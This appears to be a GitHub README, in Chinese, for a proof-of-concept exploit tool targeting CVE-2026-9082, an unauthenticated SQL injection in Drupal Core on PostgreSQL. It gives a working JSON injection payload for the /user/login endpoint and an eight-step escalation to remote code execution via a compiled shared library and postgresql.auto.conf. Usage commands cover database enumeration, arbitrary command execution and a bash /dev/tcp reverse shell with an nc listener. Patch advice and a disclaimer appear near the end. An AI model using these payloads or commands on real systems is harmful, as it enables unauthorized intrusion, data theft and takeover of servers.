11romain/CVE-2026-9082
GitHub: 11romain/CVE-2026-9082
针对 Drupal Core PostgreSQL 后端未经身份验证 SQL 注入漏洞(CVE-2026-9082)的 PoC 利用工具,支持从注入验证到远程代码执行的完整攻击链。
Stars: 0 | Forks: 0
# CVE-2026-9082
Drupal Core 在 PostgreSQL 上通过 `POST /user/login` 存在未经身份验证的 SQL 注入,并通过 PostgreSQL 的 `session_preload_libraries` 提权至远程代码执行(RCE)。
与针对 JSON:API 的现有公开漏洞利用不同,此漏洞利用使用的是 **登录端点**(login endpoint)—— 它始终可用,不需要任何模块或已发布的内容。
## 受影响版本
只有由 **PostgreSQL** 提供后端支持的 Drupal 网站受到影响。
| 分支 | 受影响版本 | 已修复版本 |
|---|---|---|
| 11.3.x | < 11.3.10 | 11.3.10 |
| 11.2.x | < 11.2.12 | 11.2.12 |
| 11.0.x - 11.1.x | < 11.1.10 | 11.1.10 |
| 10.6.x | < 10.6.9 | 10.6.9 |
| 10.5.x | < 10.5.10 | 10.5.10 |
| 10.4.x | < 10.4.10 | 10.4.10 |
| 8.9.x - 10.3.x | 所有版本 | 生命周期已结束 - 请升级 |
## 漏洞信息
### 根本原因
Drupal 的 PostgreSQL 实体查询条件处理器(`core/modules/pgsql/src/EntityQuery/Condition.php`)在构建不区分大小写的 `IN` 条件时,会将 `$condition['value']` 作为关联数组进行遍历,并将**用户可控的键名**直接拼接到 PDO 占位符标识符中 —— 生成的 SQL 中包含 `LOWER(:)`,其中 `` 完全原样来源于攻击者。
只有在满足 `is_array($condition['value'])` 和 `$case_sensitive === FALSE` 这两个条件时,才会执行此代码路径。这就是为什么**只有 PostgreSQL** 受到影响的原因 —— MySQL 和 SQLite 没有这种不区分大小写的 `LOWER()` 分支。
PDO 的命名参数解析器仅识别 `:` 之后的 `[a-zA-Z0-9_]` 字符。不在此集合中的字符(例如 `|` 或 `)`)会截断占位符标记。因此,像 `0||(subquery)` 这样的键会生成占位符 `:prefix0`(与合法的键 `0` 共享),加上一段字面量 SQL `||(subquery)`,该字面量会未经参数化直接传递给 PostgreSQL。
修复方案是一个简单的 [`array_values()` 调用](https://github.com/drupal/drupal/commit/eccc454363a947d3eb71a1ca7fa0e134dce002c0),用于在生成 SQL 之前丢弃攻击者提供的键。
### 注入向量 (`/user/login`)
```
POST /user/login?_format=json
{
"name": {
"0": "x",
"0||(SELECT CAST((SELECT version()) AS int))": "x"
},
"pass": "x"
}
```
`name` 字段作为 JSON 对象而非字符串发送。Drupal 会将其传入带有不区分大小写比较的实体查询 `IN` 条件中。对于每个数组键,Drupal 都会在 SQL 中生成 `LOWER(:)`。生成的查询如下所示:
```
LOWER("users_field_data"."name") IN (
LOWER(:users_field_data_name0),
LOWER(:users_field_data_name0||(SELECT CAST((SELECT version()) AS int)))
)
```
PDO 将 `:users_field_data_name0` 识别为两项条目中的占位符(在第二项中遇到 `|` 时停止),并将两者都绑定到 `'x'`。剩余的 `||(SELECT ...)` 作为字面量 SQL 传递。替换后,PostgreSQL 收到的内容如下:
```
LOWER(name) IN (
LOWER('x'),
LOWER('x'||(SELECT CAST((SELECT version()) AS int)))
)
```
`CAST(... AS int)` 在处理非整数数据时会失败,并且错误消息会泄露查询结果。
### RCE 攻击链 (PostgreSQL 超级用户)
当数据库用户是 PostgreSQL 超级用户时,仅限 SELECT 的注入可以被提升为 RCE:
1. **提取**(Exfiltrate)PostgreSQL 版本、`data_directory` 和超级用户状态
2. **编译**(Compile)一个调用 `system()` 的原生 `.so` 模块
3. **上传**(Upload)`.so` 文件到 `data_directory`,通过大对象(`lo_create` -> `lo_put` -> `lo_export`)实现
4. **重写**(Rewrite)`postgresql.auto.conf` 以设置 `session_preload_libraries` 和 `dynamic_library_path`
5. **重新加载**(Reload)配置,使用 `pg_reload_conf()`
6. **触发**(Trigger)一个新的后端连接 —— PostgreSQL 加载该模块并执行命令
7. **读取**(Read)命令输出,通过 `pg_read_file()`
8. **清理**(Cleanup)—— 恢复原始配置并重新加载
## 前置条件
**SQL 注入** (`cve_2026_9082_check.py`):
- 基于 PostgreSQL 的 Drupal,任意未修复版本
- 无需身份验证
- 无需 JSON:API 模块
- 无需已发布的内容
**远程代码执行** (`cve_2026_9082_rce.py`):
- 包含上述所有条件,另外需满足:
- 数据库用户必须是 PostgreSQL **超级用户**
- 本地可用 `docker`(用于在 macOS 上进行交叉编译)
## 用法
### 安装依赖
```
pip install -r requirements.txt
```
### SQLi 检查
```
# 验证 SQL injection
python3 cve_2026_9082_check.py http://target:8081
# 使用代理(Burp、mitmproxy 等)
python3 cve_2026_9082_check.py http://target:8081 --proxy http://127.0.0.1:8080
```
### SQLi 漏洞利用
```
# 列出所有数据库
python3 cve_2026_9082_sqli.py http://target:8081 --dbs
# 列出数据库中的表
python3 cve_2026_9082_sqli.py http://target:8081 -D drupal --tables
# 列出表中的列
python3 cve_2026_9082_sqli.py http://target:8081 -D drupal -T users_field_data --columns
```
### 远程代码执行
```
# 运行命令
python3 cve_2026_9082_rce.py http://target:8081 "id"
# Reverse shell
python3 cve_2026_9082_rce.py http://target:8081 \
"bash -c 'bash -i >& /dev/tcp/{lhost}/4444 0>&1'"
# Listener
nc -lvnp 4444
```
## 演示
针对易受攻击实例的 SQLi 验证:

通过基于错误的注入进行数据库枚举:

提升至远程代码执行:

## 修复方案
**立即将 Drupal 更新**至已修复版本:
- 11.3.10、11.2.12、11.1.10、10.6.9、10.5.10 或 10.4.10
如果无法立即更新:
- 切换到**非超级用户**(non-superuser)的数据库账户以防止 RCE 提权
- 监控日志,留意在 `name` 字段中包含 JSON 对象的异常 `POST /user/login` 请求
补丁与详情:[SA-CORE-2026-004](https://www.drupal.org/sa-core-2026-004)
## 时间线
| 日期 | 事件 |
|---|---|
| 2026-05-20 | Drupal 发布 SA-CORE-2026-004,发布补丁 |
| 2026-05-22 | 出现野外主动利用,被加入 CISA KEV |
| 2026-05-26 | Ambionics 发布通过 JSON:API 实现的 SQLi 转 RCE 技术 |
| 2026-06-07 | 本工具发布 |
## 致谢
- **漏洞报告者** [Michael Maturi](https://www.drupal.org/sa-core-2026-004)
- **登录向量** (`/user/login`) 描述者 [bitk & jfellus](https://www.yeswehack.com/news/cve-2026-9082-postgresql-drupal) (YesWeHack)
- **RCE 技术** (`session_preload_libraries`) 提出者 [N. Maccary / Ambionics](https://blog.lexfo.fr/drupal-postgresql-sqli-to-rce.html) (Lexfo)
- **本实现** —— RCE 适配 `/user/login` 向量由 r0m41n 完成
## 免责声明
本工具仅供**授权的安全测试**和**教育目的**使用。
未经授权访问计算机系统是违法行为。作者不对本软件的任何滥用承担任何责任。在测试非您所有的系统之前,请务必获得适当的授权。
标签:CISA项目, Drupal, PostgreSQL, RCE, Web安全, 测试用例, 蓝队分析, 请求拦截, 逆向工具